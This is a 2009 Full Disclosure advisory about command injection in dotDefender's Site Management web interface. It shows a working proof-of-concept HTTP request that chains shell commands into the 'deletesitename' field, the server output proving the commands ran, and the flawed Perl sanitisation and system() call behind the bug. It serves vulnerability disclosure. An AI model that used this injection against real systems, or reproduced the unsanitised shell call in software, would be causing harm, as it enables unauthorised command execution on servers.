Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Remote Command Execution in dotDefender Site Management
From: John Dos <dotdefeater () googlemail com>
Date: Mon, 30 Nov 2009 16:48:49 +0100

Problem Description
===================

A remote command execution vulnerability exists in the dotDefender
(3.8-5) Site Management.


dotDefender [1] is a web appliaction firewall (WAF) which 'prevents
hackers from attacking your
website.'


Technical Details
=================

The Site Management application of dotDefender is reachable as a web
application (https:site/dotDefender/)
on the webserver. After passing the Basic Auth login you can
create/delete applications.
The mentioned vulnerability is in the 'deletesite' implementation and
the 'deletesitename' variable.
Insufficient input validation allows an attacker to inject arbitrary commands.


Delete Site
===========

A normal delete transaction looks as follow:

  POST /dotDefender/index.cgi HTTP/1.1
  Host: 172.16.159.132
  User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-us,en;q=0.5
  Accept-Encoding: gzip,deflate
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  Referer: https://172.16.159.132/dotDefender/index.cgi
  Authorization: Basic YWRtaW46
  Cache-Control: max-age=0
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 76

  sitename=dotdefeater&deletesitename=dotdefeater&action=deletesite&linenum=14

An attack looks like:

--------------------/Request/--------------------
  POST /dotDefender/index.cgi HTTP/1.1
  Host: 172.16.159.132
  User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-us,en;q=0.5
  Accept-Encoding: gzip,deflate
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  Referer: https://172.16.159.132/dotDefender/index.cgi
  Authorization: Basic YWRtaW46
  Cache-Control: max-age=0
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 95

  sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al
../;pwd;&action=deletesite&linenum=15

--------------------/Response/--------------------
[...]
<br>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root     root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root     root 4096 Nov 23 02:37 ..
drwxr-xr-x 7 www-data   99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root     root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root     root 4096 Nov 23 02:37 ..
drwxr-xr-x 7 www-data   99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root     root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root     root 4096 Nov 23 02:37 ..
drwxr-xr-x 7 www-data   99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root     root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root     root 4096 Nov 23 02:37 ..
drwxr-xr-x 7 www-data   99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
[...]



Affected Code
=============

The affected code (perl) is in index1.cgi of the admin interface:

    311
    312 }elsif($action eq "deletesite") {
                    # delete site
    313         $deletesitename=$postFields{"deletesitename"};
    314   $dots_index = index($deletesitename,"%3A");
    315
    316   if($dots_index != -1 ) {
    317           $site_a_part=  substr($deletesitename,0,$dots_index);
    318           $site_b_part=
substr($deletesitename,$dots_index+3,length($deletesitename)-$dots_index-2);
    319           $site_a_part=&cleanIt($site_a_part);
    320           $site_b_part=&cleanIt($site_b_part);
    321           $deletesitename = $site_a_part.":".$site_b_part;
    322   }
    323
    324         $linenum=$postFields{'linenum'};
    325         applyDbAudit($action);
    326         &delline($linenum,2);
    327         cleanSiteFingerPrints($deletesitename);
    328
    329         &deleteSiteConf($deletesitename);
    330         $site_params="$CTMP_DIR/".$deletesitename."_params";
    331         system("rm -f $site_params");


And applicure-lib2.pl:

     13 sub     cleanIt {
     14         my($param,$type)= () _;
     15
     16         $param =~ s/%([a-fA-F0-9]{2})/pack "H2", $1/eg;
     17         if ($type eq 'any') {
     18         } elsif ($type eq 'filter') {
     19         $param =~ s/\+/" "/eg;
     20         } elsif ($type eq 'path') {
     21         $param = un_urlize($param);
     22                 #$param =~ s/([^A-Za-z0-9\-_.\/~'])//g;
     23                 #$param =~ s/\+/" "/eg;
     24         } else {
     25                 $param =~ s/([^A-Za-z0-9\-_.~'])//g;
     26         }
     27         return $param;
     28 }


Here one can see that certain shell control characters are not
protected by the call to cleanIt. Thus an attacker
can gain control of the system call in line 331 of index1.cgi.


References
===========

[1] http://applicure.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Remote Command Execution in dotDefender Site Management John Dos (Nov 30)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault